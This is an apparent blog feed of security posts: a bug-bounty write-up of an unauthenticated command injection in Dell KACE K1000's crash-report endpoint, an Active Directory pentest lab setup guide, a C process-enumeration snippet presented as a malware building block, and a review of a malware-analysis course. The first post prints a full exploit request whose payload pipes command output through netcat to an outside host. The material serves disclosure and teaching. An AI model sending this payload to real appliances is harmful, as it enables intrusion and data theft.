Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

Dell KACE K1000 Remote Code Execution - the Story of Bug K1-18652

9 April 2019 at 00:00

This is the story of an unauthenticated RCE affecting one of Dropbox’s in scope vendors during last year’s H1-3120 event. It’s one of my more recon-intensive, yet simple, vulnerabilities, and it (probably) helped me to become MVH by the end of the day ;-).

TL;DR It’s all about an undisclosed but fixed bug in the KACE Systems Management Appliance internally tracked by the ID K1-18652 which allows an unauthenticated attacker to execute arbitrary code on the appliance. Since the main purpose of the appliance is to manage client endpoints - and you are able to deploy software packages to clients - I theoretically achieved RCE on all of the vendor’s clients. It turns out that Dell (the software is now maintained by Quest) have silently fixed this vulnerability with the release of version 6.4 SP3 (6.4.120822).

Recon is Key!

While doing recon for the in-scope assets during H1-3120, I came across an administrative panel of what looked like being a Dell Kace K1000 Administrator Interface:

While gathering some background information about this “Dell Kace K1000” system, I came across the very same software now being distributed by a company called “Quest Software Inc”, which was previously owned by Dell.

Interestingly, Quest does also offer a free trial of the KACE® Systems Management Appliance appliance. Unfortunately, the free trial only covers the latest version of the appliance (this is at the time of this post v9.0.270), which also looks completely different:

However, the version I’ve found on the target was 6.3.113397 according to the very chatty web application:

X-DellKACE-Appliance: k1000
X-DellKACE-Host: redacted.com
X-DellKACE-Version: 6.3.113397
X-KBOX-WebServer: redacted.com
X-KBOX-Version: 6.3.113397

So there are at least 3 major versions between what I’ve found and what the current version is. Even trying to social engineer the Quest support to provide me with an older version did not work - apparently, I’m not a good social engineer ;-)

Recon is Key!!

At first I thought that both versions aren’t comparable at all, because codebases usually change heavily between multiple major versions, but I still decided to give it a try. I’ve set up a local testing environment with the latest version to poke around with it and understand what it is about. TBH at that point, I had very small expectations to find anything in the new version that can be applied to the old version. Apparently, I was wrong.

Recon is Key !!!11

While having a look at the source code of the appliance, I’ve stumbled upon a naughty little file called /service/krashrpt.php which is reachable without any authentication and which sole purpose is to handle crash dump files.

When reviewing the source code, I’ve found a quite interesting reference to a bug called K1-18652, which apparently was filed to prevent a path traversal issue through the parameters kuid and name ( $values is basically a reference to all parameters supplied either via GET or POST):

try {
    // K1-18652 make sure we escape names so we don't get extra path characters to do path traversal
    $kuid = basename($values['kuid']);
    $name = basename($values['name']);
} catch( Exception $e ) {
    KBLog( "Missing URL param: " . $e->getMessage() );
    exit();
}

Later kuid and name are used to construct a zip file name:

$tmpFnBase = "krash_{$name}_{$kuid}";
$tmpDir = tempnam( KB_UPLOAD_DIR, $tmpFnBase );
unlink( $tmpDir );
$zipFn = $tmpDir . ".zip";

However, K1-18652 does not only introduce the basename call to prevent the path traversal, but also two escapeshellarg calls to prevent any arbitrary command injection through the $tmpDir and $zipFn strings:

// unzip the archive to a tmpDir, and delete the .zip file
// K1-18652 Escape the shell arguments to avoid remote execution from inputs
exec( "/usr/local/bin/unzip -d " . escapeshellarg($tmpDir) . " " . escapeshellarg($zipFn));
unlink( $zipFn );

Although escapeshellarg does not fully prevent command injections I haven’t found any working way to exploit it on the most recent version of K1000.

Using a new K1000 to exploit an old K1000

So K1-18652 addresses two potentially severe issues which have been fixed in the recent version. Out of pure curiosity, I decided to blindly try a common RCE payload against the old K1000 version assuming that the escapeshellarg calls haven’t been implemented for the kuid and name parameters in the older version at all:

POST /service/krashrpt.php HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

kuid=`id | nc www.rcesecurity.com 53`

And guess what happened:

Awesome! This could afterwards be used to execute arbitrary code on all connected client systems because K1000 is an asset management system:

The KACE Systems Management Appliance (SMA) helps you accomplish these goals by automating complex administrative tasks and modernizing your unified endpoint management approach. This makes it possible for you to inventory all hardware and software, patch mission-critical applications and OS, reduce the risk of breach, and assure software license compliance. So you’re able to reduce systems management complexity and safeguard your vulnerable endpoints.

Source: Quest

Comment from the Vendor

Unfortunately, since I haven’t found any public references to the bug, the fix or an existing exploit, I’ve contacted Quest to get more details about the vulnerability and their security coordination process. Quest later told me that the fix was shipped by Dell with version 6.4 SP3 (6.4.120822), but that neither a public advisory has been published nor an explicit customer statement was made - so in other words: it was silently fixed.

#BugBountyTip

If you find a random software in use, consider investing the time to set up an instance of the software locally and try to understand how it works and search for bugs. This works for me every, single time.

Thanks, Dropbox for the nice bounty!

AD Amusement Park – Part 1

11 April 2019 at 04:47

WHO (Is This Geared Towards?)

  • Penetration Testers
  • System Administrators
  • Technology & System Enthusiast
  • Average Joe (Jill)
  • Anybody That Wants To Read!

WHAT (Will It Encompass?)

The design and provisioning of an AD Penetration Testing Lab created to mimic a corporate network. After which, we will simulate an adversary attacking the network using various techniques. Along the way we will spend time getting to know the key concepts on what being in a “Windows Environment” is all about.

This will be broken into multiple post, each leveraging the previous one & building towards the next. Since this is meant to be comprehensive we will spend a significant amount of time (the initial few post) constructing our lab. Once completed, we’ll detail as many Red-Team scenarios, Pentesting Techniques (or whatever we think is relevant/cool) on the network we created. There is no end in sight! Once I’m tapped out I will solicit friends & peers for techniques to illustrate.Did you catch I said we? That means you also. So do leave comments, email me, to keep this series rolling.

Note: In no way do I or ever claim to be an expert in anything. The best way for me to learn is by doing – making mistakes, trying/failing, and just persevering. With that said my connections are experts in the topics I’ll speak about. If I misspeak or underrepresented anything – point it out, I’m totally open to constructive criticism.

WHEN (Does It Start?)

Aren’t you reading this right now? Duh. Just kidding – I plan on staying pretty consistent. Current date is 4/10/2019 19:12 EST. I would like to be done with the standing the lab up and be on to blogging about the scenarios by beginning of summer at the latest.

WHY (Are You Even Doing This?)

  • Because I Have Unlimited Amounts Of Free Time? This couldn’t be further from the truth !! Let’s see I lead AppSec @ work, am preparing to take GREM, being a husband, being a sibling, being a resource, and being a friend.
  • Because I Get Paid For This? Yeah Ok! If anyone is paying then the funds have never reached me lol. Truthfully I still remember being broke waking up and not having a single dollar. I do pretty well nowadays and I’ll never let money motivate me! Imagine being purely driven by money, and then there’s no money left. That’s why I’ll never ask for a donation, a beer or anything similar. The best thing you could do for me is leave a comment (to help me make it better for the future) or share it with others. You’ll never see an ad on this blog. I take pride in this and it means a lot to me. One of the most valuable things you provide to someone is your time.
  • Because Why Not ?! Okay. Now we’re on to something. The thing to love about having a blog is being able to write about whatever the heck you want! If I wanted to fill this blog up with lavender bunny rabbits or Swedish meatballs, who could tell me not too? Nobody. Fortunately for you guys I’m not that weird! I made a promise to myself that I wouldn’t write to fill up the pages. This syndrome affects primarily new bloggers. After receiving warm fuzzy feedback on their blog, the human in them wants to just put out more post, sacrificing quality just to continue getting complimented. Being self aware is an amazing quality to have. So instead of quantity I focus on quality and content.
  • To Learn Some of you who know the path I took to get where I am currently.  I skipped over an important role that most offensive & defensive folks get. System Administration & Networking. All my knowledge in those areas are self taught mostly from books & hacking. It’s almost like my hobby now. Fun fact, for me is that the more unknown something is to me, the more fascinating it is.
  • To Teach I never want to be the guy that hoards information. Ever. I think it’s disgusting when people are afraid to sharing knowledge for whatever reasons. I also feel like I’m the perfect medium. Almost artistic like a compiler, actually a decompiler. I take some input, perform some translations – modifications and do my best to covey it to you as output in a language that’s most familiar to you. Teaching is loaded because you’re constantly reinforcing what you already knew. So again I win.
  • To Be The Devil’s Advocate We will look through both lenses, that of the attacker as well as the defender. I think this is necessary for completeness. Just think how wrapped up we get in colors and the box we place ourselves in. “I’m a Red-Teamer – I’m a Blue-Teamer – I’m a Purple-Teamer”. In reality there’s 2 sides, the good guys & the bad guys. If you straddle the line, I consider you to be on the bad side. Simple

Okay. With that out of the way – let’s start Part 1 of the series!

I’ll summarize exactly what we’re going to accomplish in this post first, then illustrate it in detail below.

    1. Summary/Disclaimer
    2. Physical System Requirements
      1. Recommendation & What’s in My Environment
    3. ESXI & Hypervisors
      1. Download, Installation, and Deployment
    4. Active Directory & Windows Domains

Summary/Disclaimer:

*Operation Manage Expectations* – Unfortunately or fortunately every marathon starts with a single step. This is our single step. It sets the stage for all subsequent post in this series. With it being the foundation it’s one of the most important. What happens to anything build upon weak foundation? We actually won’t do any hacking here. It’s meant to understand the core concepts and get a handle on getting your lab stood up. (I can’t hear folks sucking their teeth & heading for the EXIT)


Physical System Requirements:

First off, I don’t want to hear any chuckles, laughs or “bruhhh’s” after I reveal what I’m about to say. I’m running all this on a Dell Inspiron 3874 from back in the day! If you’re a person with a fancy beefy server so be it! More power to you. But if you’re more like me, loving to stretch the limits of anything you can touch on, then you can so-called “ball on a budget”. I laughed one day when I read people speculating on what type of equipment & devices I had in my lab. I was like damn this guy is going to be sadly disappointed when I inform him on the current state of affairs going on here lol.  So take what I’m going to list below w/ a grain of salt.

Processor – Depending on the generation I would say you can get away with having an I5 processor. Obviously the newer the better, to handle all the multitasking we’ll be doing and to utilize the advances in technology. Again my old I7 fourth gen does just fine. Ha!

RAM – One of the most important things in the entire stack. This depends on how big you want your environment to be honestly.  I would suggest 32GB and a minimum of 16GB. At the moment I have 12GB and I usually never see more than 50% usage at max load having 5 VMs running and all processing something.

Disk – Ideally you have a large SSD 1TB and a small one 128GB to boot from. My setup is slightly different. I had an 256GB SSD laying around and the desktop came with a 1TB HDD. So I boot the OS from the 256GB SSD and use the HDD for the VM Storage. You actually could boot the OS from a flash drive atleast 4GB if you wanted. I did this before and experience random hanging and freezing so that’s why this time around I decided to use a physical drive.

My Powerhouse Dell Inspiron 3874

*IMPORTANTYou’re free to use whatever Hypervisor you want. I tried all the major ones and settled with VMware ESXI as my favorite. If you’re going to follow this post & build your lab accordingly, ESXI only works with Intel NICs. You’ll need to have one to avoid a situation where you have to patch the ISO to inject open-source (shady) drivers (kernel level rootkit?) into your build. Guess what? That desktop had a Realtek NIC. Irony. No worries I solved this easily by buying and installing one of these.


ESXI & Hypervisors:

I’ll spare you from the dictionary definition which you’re welcome to find here on what a Type 1 hypervisor is.  Type-1 runs directly on the host machines hardware directly and doesn’t have to load an OS first. In comparison to Type-2 which most people are already familiar with some examples, VirtualBox (yuck) – VMWare Workstation (if you’re fortunate) – VMWare Player (if you’re fortunate & the one of your liking.

So what does this do for us? Great question. When we leverage this type of hypervisor we’re able to utilize all the host machines hardware for our VMs. First thing we do is head over and grab the latest ESXI image from VMWare’s website which at the moment is 6.7. YES – you have to create an account.

Downloading latest ESXI image

The ISO is surprisingly small for the shear amount of magic that it provides. The next thing we want to do is burn the ISO to a USB flash drive. There are a few programs I’ve used for this over the years depending on OS but the most reliable one has to be Rufus. Download and install (or run it).

Insert your USB into the machine and run Rufus. You’ll have to point it to the ESXI ISO, it should detect your USB drive letter automatically. Similar to the following:

Writing ESXI image to flash drive

Installation should be quick, less than a minute. Unfortunately the only confirmation you’ll get from Rufus is a Window’s chime and the progress bar reaching 100% visually but sorry no messagebox popup confirmation.

Rufus finished writing image to flash drive

Now that we have our flash drive ready for battle, we insert it into the system we’re using for our lab. Sometimes you’ll hold F2 on system boot or go into the bios, alter the boot order and select the USB to load prior to the Hard Disk. The process for installing ESXI is very simple just click through honestly. But for the sake of completeness I wanted to detail it thoroughly. The initial load will show you some Linux booting output and switch to the following looking screen:

ESXI loading after booting from USB

Click “Enter” to Continue with the installation when paused at the Compatibility prompt. Then F11 to accept the EULA. Continuing on you’ll be prompted to select the disk you want to install ESXI on. If you’re dropping it on another USB make sure it’s insert it VMWare should recognize it. DON’T OVERWRITE THE USB WITH THE INSTALLATION ON IT MISTAKENLY. No matter what choose the correct disk, if you’re using SSD or HDD just make sure you select the correct one. Remember this ISN’T the place where your VMs will be held, although it’s probably inside the same physical system. In my case for illustration purposes I’m installing on a VM so my disk is labeled as such, and looks like the following. (Multiple disk will be listed if applicable)

Installing ESXI on host disk.

Hit “Enter” to Continue. Select your default keyboard layout Swiss German in my case. JK – I selected “US Default” of course & again “Enter” to Continue. At the next screen you’re prompted for a root password, make it whatever you want so long as you remember it

Selecting root password.

Confirm again your pointing to the correct disk before you begin the partition. (Can you tell I screwed up here before?)

Confirming partition to write to

A completed install looks similar to the following.

Completed ESXI Install.

Great Progress! Remove the installation media and reboot.

To save time here’s the assumptions I will make:

  1. You already have at least one Windows Server edition to be your domain controller. Microsoft provides evaluation copy’s for 180 days that you can download directly from them Server 2016 Download. You’ll have to fill out the form (bogus information) to initiate the download. Get creative 🙂
  2. You have at least one client to add to your domain, this could be any Windows OS like 10, 8 (you’re weird), 7 or XP. You can get Windows 10 for free using their Media Creation Tool here. Get creative finding the other editions.

If all went well you’ll boot up to the following:

ESXI Installed & running.

Take note of the IP address ESXI presents to you and browse to the IP. It should be bridged to your LAN. Note: My address is NAT’d since I’m simulating the process on a VM. Not that should have realized that anyway. From this point on you can disconnect the monitor if you like, all the rest of the administration is done through the web application.

Accepting the self signed cert shows the following:

ESXI Web App Login

After logging in your main dashboard provides you a bunch of system information about your physical host and configuration options for your future lab. To deploy a VM first we have to upload an ISO. In ESXI terms the storage that houses the ISO and the resulting VMs is called the datastore. Things are pretty intuitive actually bc the upload process to the datastore is streamlined in the Create/Register VM workflow. Click that button:

ESXI Dashboard

Select “Create a new virtual machine” and click Next as follows:

Deploying a new VM

Give you VM a recognizable name & select the OS version from the dropdown. I named mine DC-2K-16 just to be descriptive. I know it’s going to be my Domain Controller and the OS year. Do whatever makes you happy:

Select VM OS and naming it

You’ll select a datastore, click Next and be presented with the final screen.

VM Provisioning almost complete

Note: We still didn’t upload our ISO to the datastore yet. Now here’s our time. You’re going to click “Browse” from the location row. This will open the datastore browser, there you’ll click “Upload” and then browse your local system to the Windows Server 2016 ISO.

As it’s progressing things should look like this:

Be patient – this is where you get to pause and reflect on your tremendous efforts thus far.

After that finishes, do yourself a favor. Upload your other ISO the Windows 10 machine also. In my case I had a Windows 8.1 32 bit ISO already downloaded so that’s what I used. To simulate a corporate network I’d suggest at least 9 machines. You’re going to upload until your thumbs hurt haha. You’ll also need a PFSense ISO that’ll be our virtual Firewall – you can grab it from here and upload that ISO like the other images. Download your ISO’s from where ever you’re finding them, upload them to the datastore, and repeat. Repeat until you’re close to the setup I have below.

Back at our Dashboard we can now see our VM list has grown from 0 to 1. Clicking on it and selecting Power On. This will load the VM and install Windows like we’ve done a thousand times prior. Repeat the process for all your client machines. This is the part that takes the most time so you can upload a bunch and go to sleep or something.

Note: I am switching from the virtual environment where I was demonstrating the the installation process to my actual ESXI server. The one you laughed about earlier smh.

You should now have the beginnings of an AD Pentesting lab. Mines looks like the following:

Enough VMs to make you jealous

Active Directory & Windows Domains

An Active Directory domain is a collection of objects within a Microsoft Active Directory network. An object can be a single user, a group or it can be a hardware component, such as a computer or printer. Each domain holds a database containing object identity information.

Active Directory domains are grouped in a tree structure; a group of Active Directory trees is known as a forest, which is the highest level of organization within Active Directory. Active Directory domains can have multiple child domains, which in turn can have their own child domains. Authentication within Active Directory works through a transitive trust relationship.

Active Directory domains can be identified using a DNS name, which can be the same as an organization’s public domain name, a sub-domain or an alternate version (which may end in .local). While Group Policy can be applied to an entire domain, it is typical to apply policies to sub-groups of objects known as organizational units (OUs). All object attributes, such as usernames, must be unique within a single domain and, by extension, an OU.

That was a mouthful. Let’s try to explain it in layman’s terms. A domain is simply a group of computers or devices that can be managed centrally. A domain controller is the server edition of Windows in the environment that responds to authentication request from other systems on the domain. This server implements the Active Directory roles/responsibilities, and stores all the user account information for the domain, enforces the security policy, and can run the domain’s DHCP & DNS servers.

Feel free to read, Google and pause if you want to research any of these topics in depth. For now just accept that this is all you need. I’ll give you everything else that’s pertinent exactly when it’s required. This is enough to get us off the ground running.


Here’s what I hope you learned about in this post:

  1. My motivations to start this series & what I hope to accomplish
  2. You can deploy a pretty nice lab for close to nothing if you have the time
  3. How to write ISOs to flash drives if you’ve never done it in the past
  4. How to install an ESXI server
  5. How to install VM OSes inside your ESXI server
  6. A little bit about Active Directory & Window Domains

 

For the next post I have the following agenda:

  1. Configure our first DC
  2. Promoting the server to be DC
  3. Installing the Active Directory roles & responsibilities
  4. Install the DNS role
  5. Installing the DHCP role
  6. Configuring OU’s
  7. Joining a client to our domain
  8. Learning about GPO
  9. Setting up our PFSense firewall.

Until next time !

The post AD Amusement Park – Part 1 appeared first on Certification Chronicles.

The Usual Suspects – Malware Snippets – Part 1

12 April 2019 at 21:20

When You Should Be Studying But The Code Calls You.

Prologue

I feel like I should confess. Why? Because I’ve fought with myself for the past hour debating on how to spend this Friday evening. I 100% should be continuing my Malware Analysis Workbook to keep making steady progress in preparation for the exam. GREM should be fun, I’m looking forward to it & blogging about the entire experience. At the moment I really don’t feel like “analyzing” anything. I feel like doing! Attempting to make or break something. The brain wants what the brain wants. Here’s how I rationalize things to myself in these situations. If the thing that I’ve yet to figure out what it is, is in someway somehow related to what I should really be doing then guess what, IT’S FINE. So shoot let’s just start an entirely new series on something I totally just came up with.

I have come to understand that there are patterns in malware. But before that – ask yourself what exactly is malware? Here’s where I think the definition from Lenny’s course rings volumes. It’s incredibly non-technical and very subtle. “Malware is code that is used to perform malicious actions.” This leads you to the realization that it’s not per se the capabilities of the software but the intent of the person using or authoring it. We’ll stop right there because my purpose isn’t malware analysis in this post. (You can wait until I take the certification I”ll be sure to blog about the entire process from the first day of the course through to the cert) It’s about patterns remember. So sir, what are these patterns you speak of?

Software is typically developed in a high level language & compiled into a binary executable. What’s the best language to develop?  I always enjoy this debate because I’ve played with most of them & can usually argue either way depending on the side my opponent takes. Truthfully it’s preference & how familiar the developer is with the language. Different jobs are accomplished utilizing different tools. Some popular high-level languages are C/C++, Python, Delphi, and Java. Now I purposely left out scripting and interpreted languages , I include Python just because it’s awesome & you can usually accomplish the same as a compiled language with it. I know Java and the JVM so you don’t have to beat me up. Majority of malware is written in C/C++ you could also use Python using CTypes and then compile into an executable but let’s not account for that. It shouldn’t surprise you that malware needs to accomplish many of the same task as ordinary software. Things like reading and writing to disk, network communication, spawning child processes, allocate dynamic memory, painting to the screen and the list goes on. Now these things individually aren’t particularly nefarious. But in groups you can get an idea of what it’s trying to do.

How do you leverage C to write malware? You leverage this surprisingly unicornishly resource call the Windows API from MSDN. It’s how you programmatically interact with everything in the Windows environment. And if you’re thinking they missed a inch, they didn’t! So much so, there’s a group of folks who scoured the entire API (documented and undocumented), pre-loaded binaries and DLLs and created LOL-Living Off The Land. To say that the API is rich would be an understatement. You can do any and everything with it because what’s the point of have an Operating System if it’s not extensible & account for each and every obscure thing a developer might ever want to do. Poor Microsoft.

Here’s an example, we get a malware sample and during the static analysis we look at it’s imports and see function calls to, GetKeyState GetAsyncKeyState SetWindowsHookExA. Very quickly you can get a feel for what it potentially might be maybe without even visiting the documentation. In this case a keylogger potentially. This is what I mean when I mention patterns above. This series will begin with the small building blocks before we go full blown into replicating our own malware. This is what I meant when I said I wanted to “attempt to make or break something”. Again, learning is a contact sport and maybe from failing & being stuck so much I don’t mind it. I haven’t developed professionally in years and if I do anything now Python’s usually my go to. So pure C is a challenge I’m totally up for and I hope by the end I can say I improved. I’ve also never written a piece of malware nor it’s components. I encourage you to fight through the cryptic naming conventions grab a C book if you need and just persevere. The best way is to just start. I spun up a VM specifically for developing, downloaded & installed the latest VisualStudio and off I went.

Process & Thread Enumeration

I figured this was an awesome place to begin because it’s pervasive throughout malware. Possibly for anti-debugging, maybe to send off as information gathering to a C2, or searching for vulnerabilities that may aid in privilege escalation. Whatever the reason it’s widespread, gives me a reason to be writing this and is a friendly introduction to C. I will present the code & then explain it in plain English.

1
#include stdio.h
#include Windows.h
#include TlHelp32.h
#include tchar.h

2
BOOL GetProcessList();
BOOL ListAssociatedThreads(DWORD dwProcessID);

3
int main(void)
{
	GetProcessList();
	return 0;
}

4
BOOL GetProcessList()
{
	PROCESSENTRY32 process_structure; 
	HANDLE handleToProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 5

        6
	if (handleToProcessSnapshot == INVALID_HANDLE_VALUE) {
		_tprintf("Failed To Obtain Handle To Process Snapshot");
		return FALSE;
	}

        7
	process_structure.dwSize = sizeof(PROCESSENTRY32);

        8
	if ( !Process32First(handleToProcessSnapshot, &process_structure) ) {
		_tprintf("Failed To Get Obtain Data About First Process - Last Error = %d\n", GetLastError());
		CloseHandle(handleToProcessSnapshot);
		return FALSE;
	}
	do
	{
                9
		_tprintf("\n\n=====================================================");
		_tprintf("\n Process Name:  %s",           process_structure.szExeFile);
		_tprintf("\n Process ID:  0x%08X",         process_structure.th32ProcessID);
		_tprintf("\n Parent Process ID: 0x%08X",   process_structure.th32ParentProcessID);
		_tprintf("\n Thread Count:  %d\n",         process_structure.cntThreads);
              
                10
		ListAssociatedThreads(process_structure.th32ProcessID);
		_tprintf("\n\n=====================================================");

        11
	} while ( Process32Next(handleToProcessSnapshot, &process_structure) );
	CloseHandle( handleToProcessSnapshot );
	return( TRUE );
}

BOOL ListAssociatedThreads( DWORD dwProcessID ) 
{
	THREADENTRY32 thread_structure;
	HANDLE handleToThreadSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );

	if ( handleToThreadSnapshot == INVALID_HANDLE_VALUE ) {
		_tprintf("Failed To Obtain Handle To Thread Snapshot");
		return FALSE;
	}
	thread_structure.dwSize = sizeof( THREADENTRY32 );

	if ( !Thread32First(handleToThreadSnapshot, &thread_structure) ) {
		_tprintf("Failed To Get Obtain Data About First Thread - Last Error = %d\n", GetLastError());
		CloseHandle( handleToThreadSnapshot );
		return FALSE;
	}
	DWORD dwThreadCount = 1;
	do {
		if ( thread_structure.th32OwnerProcessID == dwProcessID ) {
			_tprintf("\tThread ID-%d: 0x%08X\n", dwThreadCount, thread_structure.th32ThreadID);
			dwThreadCount++;
		}
	} while ( Thread32Next(handleToThreadSnapshot, &thread_structure) );
}

You may have noticed that I didn’t bother numbering the second function call. That’s because it’s basically identical to the first. I will illustrate the difference when we reach a piece that’s different.

  1. These are the imports. An import is just a library that holds tons of functions for us to call. They only exist to be used by us so long as we import them first. This makes them happy.
  2. Function declarations. These are used to help with compile time error checking. In this case it says we’re creating 2 function, that are of type Boolean(true/false), their respective names, and any arguments they may expect. It’s like an early warning system. For instance, if we began to write the function body (that one takes an argument named dwProcessID) and we forgot to include it, the compiler understands from our declaration it should be there. So it immediately complains, we call ourselves silly – correct it and move on.
  3. Main method. It’s the entry-point for the entire program. Execution starts here you don’t need to think about it. We call our 1st function here and for clarity include the return statement.
  4. This looks similar to the function declaration but without the ; and statements within the { } brackets. Inside these brackets is our function body (the purpose of the function).
  5. I like to think about a Window’s Handle as a pointer to a system resource. It’s a more abstract level for instance if you wanted to read a file, you’d call the appropriate function – obviously passing it amonst other things the filename. You wouldn’t get a file back or an object you’d get back a Handle. Then all further processing you refer to the handle.In our case we make a call to CreateToolhelp32Snapshot this function comes from the tlhelp32.h import. We search MSDN and understand the arguments to pass it, one being TH32CS_SNAPPROCESS along with the 0 argument says, “Give me a handle snapshot of all the running processes on the system at this point in time”.In the 2nd function this call is also made again but this time with a different 1st argument TH32CS_SNAPTHREAD. Appropriately named since the first functions grabs all the processes then we find each processes associated threads.
  6.  Error checking. From MSDN we know that if the call to get the process snapshot fails it’ll return that symbolic constant INVALID_HANDLE_VALUEYou could make a call to GetLastError() to further debug.
  7. Important. MSDN told me this. You need to set the size field of the structure before you make the call to the next function. If you don’t do this, the call automatically fails.
  8. Call to Process32First this is how we actually make a call to get the first process. It takes as arguments, the handle and the structure who’s member we had to initialize. We put this call inside an if statement, if we encounter an issue we fall into the error printing statements included in that statement and close the handle so it’s not a stray.
  9. Success! If we reach here it means we’re good – we’ve gotten the data associated with our first process in the snapshot. That structure we set the size on now is populated with the relevant data returned from the function call. Some of those things are the process’s name, ID,  it’s parent process ID, thread count and a host of other thing. Break after the call to view all the relevant fields in the structure or just Google it.
  10. Determine which threads belong to this process. As mentioned earlier that function is very similar except it takes a snapshot of all the threads, and then we compare the process ID we pass into the function to the threads parent process ID.
  11. Notice the call to the Process32Next function as the continuing condition for the do-while loop. This function will move to the next process in the snapshot.

Here’s some output:

Except of running the code.

 

Epilogue

We’re going to build up to something awesome I promise. Obviously this is for educational purposes only.
NOTE: If you want to compile the code just remove the numbers I included to explain the different sections.

Until next time!

The post The Usual Suspects – Malware Snippets – Part 1 appeared first on Certification Chronicles.

GIAC Reverse Engineering Malware (GREM) Review

28 April 2019 at 22:01

New trophies !!

 

Welcome back. What follows is my review of the SANs FOR-610 GIAC Reverse Engineering Malware (GREM)  course led by the magnificent instructor Lenny Zeltser. I intend to not only give you a day-by-day breakdown but also my thoughts, mindset and overall sentiment. But before all of that let’s rewind to Jan 2019.

Fresh off of nailing OSCE I was desperately searching for something to latch onto. Could you imagine how big my eyes were when my boss informed me I would be able to take a SANs training😲. I felt Malware Analysis would compliment my Exploit Development experience in addition make me more valuable at work. Studying is baked into my life I never foresee this ever changing. I love to learn. I love to struggle. The dedication. The disciple. The concerted effort. I love the internal fight I always have with myself. Did I mention this event was in Orlando !? So the day of my flight comes I’m freaking pumped!

3 hour flight was fine landed safely had to strip out the hoodie because it was about 75 degrees & sunny. Checked in received all the course materials and some swag. Grabbed a bite to eat and tried to get a good nights rest. I could barely sleep like a kid on Christmas eve.

This swag is not for sale!

Day 1 – Malware Analysis Fundamentals

If you’ve never (sorry to hear that) been to a SANs training you get a book for each day that you work through. We were provided with 2 VMs one Windows and one REMnux (Lenny created and maintains this it’s a stripped down Ubuntu system pre-loaded with all the tools. Once again if you want a reoccurring theme here it’s he’s awesome & very intelligent) It’s quite intense as you get bombarded with tons of material. After a short introduction he jumps straight into the material. We discussed what malware is & general goals we wish to accomplish with our analysis. Some things that won’t make the sexy list but were important was how to build a analysis lab and how to create and deliver analysis report. Now is when the cool things begin to happen. “Okay class go to malware folder day one and double click on it to begin analyzing your first piece of malware”. I’m like this sounds like a mistake 😂 but let’s do it! We got pretty intimate with this piece of malware analyzing it statically dynamically and a tiny bit of code reversing in IDA. This malware had C2 functionality & dropped an encrypted config file on the system along with persistence. Here are some of the tools we’d come to use for today and remaining days

  • PE Studio
  • Strings/pestr
  • Process Hacker
  • Process Monitor
  • Process Hacker
  • Regshot
  • Wireshark
  • IDA
  • x64 debug
  • fakedns
  • inetsim

After class let out for that day I grabbed a bite to eat and decided to crash instead of going for one of the evening talks.

Day 2 – Reversing Malicious Code

This day I heard was most feared depending on your background. I actually enjoyed it a lot. The entire day was spent inside IDA and looking through the assembly. Some things we learned this day were

  • Intel Processor
  • Registers
  • Pointers
  • Memory Addressing
  • Branching
  • Calling Conventions
  • How functions work
  • The Stack
  • Control Flow

The 2nd half of the taught us how to recognize common API patterns in Malware. Keyloggers, Downloaders, Droppers ect. There was a tiny section on 64-bit code analysis that we didn’t spend much time on.  I didn’t go to any evening talk I crawled in the bed an reviewed the days materials.

Day 3 – Malicious Web and Document Files

This day was my favorite. If yesterday beat you up this day was here to pick you back up. It wasn’t easy it was fun. Since this is a way that most malware is introduced inside organizations I was very interested in this days topics. It didn’t disappoint me! We saw so much naughty malware this day. We started out deobfuscating scripts using browser debuggers, and then using standalone interpreters. Again things are intimate here so you’re learning the internal format down to the nitty gritty of the different document types and the tools you use for analyzing them. There was malicious PDFs, Office Documents (Macros), and RTF documents. What blew my mind this day was the amount of ways that JavaScript can hurt you. And why Windows has binaries to execute JavaScript. I guess being naive I simply thought about JS and what it could do inside the browser. Some tools we used this day were:

  • js (SpiderMonkey)
  • pdf-parser
  • base64dump
  • oledump
  • olevba
  • xor-kpa
  • rtfdump

After this days class I was excited to see what this NetWars hype was all about. So when the time hit I grabbed my machine & headed down.

The atmosphere was incredible 👍❤ being in a room full of hackers and us going head to head. There’s nothing else like it. There was a guy who had over 400 points when the next highest guy had like 50. They took his name off the board because they said they “Didn’t want to depress us anymore” 😂 That guy was insane. I did well actually it was a lot of Linux commands, wireshark analysis. The part that tripped me up was image analysis I struggled with this and lost so much time. I fell from 4th to like 20th by end of first day.

I’m on the board!

Day 4 – In-Depth Malware Analysis

We learned a ton of stuff this day. Recognizing and unpacking malware. Debugging packed malware. The  2nd half of the day we learned and examined a fileless piece of malware. It was wicked! Some topics in the 2nd half of the day we learned were API Hooking and Code Injection. We also spent time learning a little bit of memory forensics. Some tools we used this day were

  • upx
  • scdbg
  • volatility

I decided not go to the 2nd day of netwars. Went on a walk exploring the area where our hotel was and chillen by the pool.

Day 5 – Examining Self-Defending Malware

Awesome day spent learning about malware that fights you back or purposely makes it difficult to analyse. We learned about Process Hollowing and the normal techniques malware authors employ to detect debugging. Some tools used this day were

  • brxor
  • bbcrack
  • floss
  • scylla

Last day of learning & it’s Friday but who care because I’m spent. Went to the room and crashed.

Day 6 – CTF

Get to class at 8:30 and setup my machine, grab my Redbull and prepare for the fight. There’s about 20 people in the class most of them seemed very intelligent. I knew a few of them were fulltime malware analyst but it’s always fun to see where you end up when competing with others. I enjoy the competition. So the CTF was everyone on their own no teams and top 5 people win coins. We had our own scoring server that updated in real time as you earned points so it was intense. For 5 hours we leveraged what we learned to answer questions about different malware samples. Now when we first started on Monday I had to think about everything because it was all new to me. On this day I remember running to the bathroom and thinking damn! You’re not even thinking about this you’re just doing it. Gave myself a bro hug. When the dust settled I had a coin & it was the perfect icing on the cake.

I win !

Studying For The CERT

When I fly back home I immediately reviewed each book. I don’t create an index but I use the color tab thingy’s to mark sections I think are important and also highlight anything relevant of course. The end result of this madness looks similar to this

